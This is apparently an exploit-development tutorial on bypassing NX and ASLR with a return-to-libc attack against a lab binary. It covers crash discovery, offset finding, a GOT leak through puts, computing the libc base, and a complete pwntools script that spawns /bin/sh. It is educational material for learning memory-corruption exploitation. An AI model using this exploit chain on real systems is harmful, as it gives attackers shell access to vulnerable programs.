When NX (No-Execute) protection is enabled, you cannot execute shellcode on the stack. Return-to-libc attacks bypass this by redirecting execution to existing functions in libc, such as system().
Understanding ret2libc
The Concept
Instead of executing our own code, we:
- Overwrite EIP with the address of a libc function (e.g.,
system()) - Set up the stack to pass arguments to that function
- Provide a return address for after the function completes
Payload Structure
[ Junk Buffer ][ system() ][ exit() ][ "/bin/sh" ]
N bytes EIP ret arg1Initial Analysis
Identifying the Vulnerability
python -c 'print("A"*200)' | ./vulnerable
# Segmentation fault (core dumped)
python -c 'print("A"*100)' | ./vulnerable
# No crashThe crash occurs around 200 characters.
Finding the EIP Offset
gdb-peda$ pattern create 200 pattern.txt
gdb-peda$ run < pattern.txt
EIP: 0x41416d41 ('AmAA')
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140Checking Protections
checksec --file=./vulnerableArch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)NX is enabled - we cannot execute stack shellcode. ASLR status:
cat /proc/sys/kernel/randomize_va_space
2 # ASLR is activeLeaking libc Addresses
Since ASLR randomizes libc’s base address, we need to leak an address at runtime.
Understanding PLT and GOT
- PLT (Procedure Linkage Table): Contains stubs that jump to GOT entries
- GOT (Global Offset Table): Contains actual function addresses after resolution
The PLT/GOT addresses are fixed (no PIE), but GOT entries point to randomized libc addresses.
The Leak Strategy
- Call
puts@pltwithputs@gotas argument - This prints the actual libc address of
puts - Return to
mainto exploit again with known addresses
Identifying Addresses
gdb-peda$ info functions
0x08048340 puts@plt
0x0804847d main
gdb-peda$ x/3i 0x8048340
0x8048340 <puts@plt>: jmp DWORD PTR ds:0x80497b0
gdb-peda$ x/wx 0x80497b0
0x80497b0 <puts@got.plt>: 0xb7e68ca0puts@plt:0x08048340puts@got:0x080497b0main:0x0804847d
Building the Exploit
Stage 1: Leak puts Address
from pwn import *
r = process('./vulnerable')
puts_plt = 0x8048340
puts_got = 0x80497b0
main = 0x0804847d
payload = ""
payload += "A"*140 # Junk to reach EIP
payload += p32(puts_plt) # Call puts()
payload += p32(main) # Return to main after puts
payload += p32(puts_got) # Argument: address to print
r.recvuntil('desert:')
r.sendline(payload)
r.recvline()
leak = u32(r.recvline()[:4])
log.info('puts@libc is at: {}'.format(hex(leak)))Stage 2: Calculate libc Base
With the leaked puts address, calculate libc’s base:
# Find puts offset in libc
# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep puts
puts_offset = 0x67ca0 # Example offset
libc_base = leak - puts_offset
log.info('libc base: {}'.format(hex(libc_base)))Stage 3: Call system(“/bin/sh”)
# Find system and /bin/sh offsets in libc
system_offset = 0x3ada0
binsh_offset = 0x17b8cf
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
payload2 = ""
payload2 += "A"*140
payload2 += p32(system_addr)
payload2 += p32(0xdeadbeef) # Return address (don't care)
payload2 += p32(binsh_addr) # Argument to system()
r.sendline(payload2)
r.interactive()Complete Exploit
#!/usr/bin/env python3
from pwn import *
# Addresses from binary (no PIE, fixed)
puts_plt = 0x8048340
puts_got = 0x80497b0
main = 0x0804847d
# Offsets from libc (find with readelf/objdump)
puts_offset = 0x67ca0
system_offset = 0x3ada0
binsh_offset = 0x17b8cf
r = process('./vulnerable')
# Stage 1: Leak puts address
payload1 = "A"*140
payload1 += p32(puts_plt)
payload1 += p32(main)
payload1 += p32(puts_got)
r.recvuntil('desert:')
r.sendline(payload1)
r.recvline()
leak = u32(r.recvline()[:4])
libc_base = leak - puts_offset
log.success('Leaked puts@libc: {}'.format(hex(leak)))
log.success('libc base: {}'.format(hex(libc_base)))
# Stage 2: Call system("/bin/sh")
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
payload2 = "A"*140
payload2 += p32(system_addr)
payload2 += "JUNK" # Fake return address
payload2 += p32(binsh_addr)
r.recvuntil('desert:')
r.sendline(payload2)
r.interactive()Finding Offsets
Locating libc
ldd ./vulnerable
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6
locate libc.so.6Finding Function Offsets
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w system
# 1443: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w puts
# 423: 00067ca0 474 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.0Finding /bin/sh String
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
# 17b8cf /bin/shKey Concepts
Why This Works
- PLT/GOT addresses are fixed (no PIE)
- We can call
putsto leak any address - libc functions have fixed offsets from the base
- Once we know one address, we can calculate all others
ASLR vs PIE
- ASLR randomizes library (libc) addresses
- PIE randomizes the binary’s own addresses
- Without PIE, PLT/GOT addresses are predictable
- We leak libc addresses through GOT entries
Troubleshooting
Wrong Offsets
Offsets vary between libc versions. Always check the target system’s libc:
# On target
ldd --version
md5sum /lib/i386-linux-gnu/libc.so.6Partial Overwrite
If the leak looks wrong, check for null bytes truncating the output. You may need to leak a different function.